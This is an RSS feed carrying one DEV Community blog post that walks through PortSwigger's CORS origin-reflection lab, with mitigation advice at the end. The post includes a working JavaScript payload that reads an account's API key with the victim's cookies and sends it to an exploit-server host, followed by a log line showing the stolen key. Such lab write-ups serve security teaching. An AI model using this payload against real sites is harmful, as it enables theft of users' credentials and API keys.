<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: ryangombe</title>
    <description>The latest articles on DEV Community by ryangombe (@ryangombe).</description>
    <link>https://dev.to/ryangombe</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3382218%2Ffffa9af7-cdd5-459e-9c9b-dd2f691ce820.png</url>
      <title>DEV Community: ryangombe</title>
      <link>https://dev.to/ryangombe</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ryangombe"/>
    <language>en</language>
    <item>
      <title>Solving the CORS Vulnerability Lab: Basic Origin Reflection</title>
      <dc:creator>ryangombe</dc:creator>
      <pubDate>Wed, 23 Jul 2025 14:00:41 +0000</pubDate>
      <link>https://dev.to/ryangombe/solving-the-cors-vulnerability-lab-basic-origin-reflection-589c</link>
      <guid>https://dev.to/ryangombe/solving-the-cors-vulnerability-lab-basic-origin-reflection-589c</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Cross-Origin Resource Sharing (CORS) vulnerabilities represent a significant security risk when misconfigured. In this walkthrough, we'll explore PortSwigger's "CORS vulnerability with basic origin reflection" lab, demonstrating how improper CORS implementation can lead to sensitive data exposure.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding CORS and the Vulnerability
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What is CORS?
&lt;/h3&gt;

&lt;p&gt;CORS is a browser security mechanism that allows web pages to make requests to different domains than the one serving the page. It uses HTTP headers to tell browsers whether specific cross-origin requests should be allowed.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Vulnerability
&lt;/h3&gt;

&lt;p&gt;The target application has a critical CORS misconfiguration: it trusts all origins by reflecting any origin header back in the &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; response header, combined with &lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt;. This combination allows any malicious website to make authenticated requests and read sensitive responses.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab Setup and Initial Analysis
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Lab Objective:&lt;/strong&gt; Craft JavaScript that uses CORS to retrieve the administrator's API key and upload it to your exploit server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credentials:&lt;/strong&gt; &lt;code&gt;wiener:peter&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Confirming the Vulnerability
&lt;/h3&gt;

&lt;p&gt;After logging in with the provided credentials, I tested the CORS configuration by intercepting the request to &lt;code&gt;/accountDetails&lt;/code&gt; and adding a custom &lt;code&gt;Origin&lt;/code&gt; header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/accountDetails&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;0a16002b041df12c80c2039b00a40038.web-security-academy.net&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;session=lRQLThI1i6vbkb10XGh7cGtKW1N1eFPO&lt;/span&gt;
&lt;span class="na"&gt;Origin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https://attacker.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server's response confirmed the vulnerability:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https://attacker.com&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;true&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;application/json; charset=utf-8&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"wiener"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"apikey"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AQqU5vW28FVytBfqUwmm6ip5EfOcGLbX"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"lRQLThI1i6vbkb10XGh7cGtKW1N1eFPO"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key Observations:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;Origin&lt;/code&gt; header is reflected exactly in &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt; allows cookies to be included&lt;/li&gt;
&lt;li&gt;The response contains sensitive data including the API key&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Crafting the Exploit
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 2: JavaScript Exploit Development
&lt;/h3&gt;

&lt;p&gt;The exploit leverages the CORS misconfiguration to steal the administrator's API key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// CORS exploit to retrieve administrator's API key&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;XMLHttpRequest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Parse the response to extract the API key&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;responseText&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;apikey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;apikey&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// Send the API key to your exploit server&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;exfiltrate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;XMLHttpRequest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nx"&gt;exfiltrate&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://exploit-0aeb008b0447f11580ef02f501ce00b3.exploit-server.net/exploit?apikey=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;apikey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;exfiltrate&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// Make CORS request to the vulnerable endpoint&lt;/span&gt;
&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://0a16002b041df12c80c2039b00a40038.web-security-academy.net/accountDetails&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;withCredentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// Important: include cookies in the request&lt;/span&gt;
&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Exploit Breakdown:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;XMLHttpRequest Creation:&lt;/strong&gt; Creates a new request object&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credential Inclusion:&lt;/strong&gt; &lt;code&gt;withCredentials: true&lt;/code&gt; ensures session cookies are sent&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Response Handling:&lt;/strong&gt; Parses JSON response and extracts the API key&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data Exfiltration:&lt;/strong&gt; Sends the stolen API key to the attacker-controlled server&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 3: Deploying the Exploit
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Navigate to the exploit server: &lt;code&gt;https://exploit-0aeb008b0447f11580ef02f501ce00b3.exploit-server.net/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Paste the JavaScript code into the body section (wrapped in &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags)&lt;/li&gt;
&lt;li&gt;Click "Store" to save the exploit payload&lt;/li&gt;
&lt;li&gt;Click "Deliver exploit to victim" to trigger the attack&lt;/li&gt;
&lt;li&gt;Click "Access server log"&lt;/li&gt;
&lt;li&gt;Check the request that was made by the victim to the exploit server that looks like this:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   10.0.4.241      2025-07-23 08:49:53 +0000 "GET /exploit?apikey=i3NCPLRccl0ZXOKFX5Sb3ErmkkZkf6VR HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Submit solution&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Why This Attack Works
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Technical Analysis
&lt;/h3&gt;

&lt;p&gt;The attack succeeds due to three critical factors:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Origin Reflection:&lt;/strong&gt; The server reflects any origin without validation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credential Support:&lt;/strong&gt; &lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt; allows authenticated requests
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sensitive Data Exposure:&lt;/strong&gt; The endpoint returns sensitive information in the response&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When the administrator visits the malicious page:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Their browser executes the malicious JavaScript&lt;/li&gt;
&lt;li&gt;The script makes a CORS request to &lt;code&gt;/accountDetails&lt;/code&gt; with the admin's session cookies&lt;/li&gt;
&lt;li&gt;The server processes the request as if it came from the admin&lt;/li&gt;
&lt;li&gt;The response containing the API key is readable by the malicious script&lt;/li&gt;
&lt;li&gt;The API key is exfiltrated to the attacker's server&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Prevention and Mitigation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Secure CORS Configuration
&lt;/h3&gt;

&lt;p&gt;To prevent this vulnerability:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Whitelist Specific Origins:&lt;/strong&gt; Only allow trusted domains
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   Access-Control-Allow-Origin: https://trusted-domain.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Avoid Wildcards with Credentials:&lt;/strong&gt; Never combine &lt;code&gt;*&lt;/code&gt; with &lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Validate Origins Properly:&lt;/strong&gt; Implement server-side origin validation&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;   &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;allowedOrigins&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://app.company.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://admin.company.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
   &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;allowedOrigins&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
   &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Minimize Credential Exposure:&lt;/strong&gt; Only set &lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt; when absolutely necessary&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This lab demonstrates how a simple CORS misconfiguration can lead to complete compromise of user data. The combination of origin reflection and credential support creates a perfect storm for cross-origin attacks. Security practitioners should regularly audit CORS configurations and implement strict origin validation to prevent such vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key Takeaways:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CORS misconfigurations can be as dangerous as traditional XSS vulnerabilities&lt;/li&gt;
&lt;li&gt;Proper origin validation is critical for secure CORS implementation&lt;/li&gt;
&lt;li&gt;Never trust user-supplied origin headers without validation&lt;/li&gt;
&lt;li&gt;Regular security testing should include CORS configuration reviews&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Understanding and preventing CORS vulnerabilities is essential for modern web application security, as APIs and cross-origin communications become increasingly prevalent in web development.&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
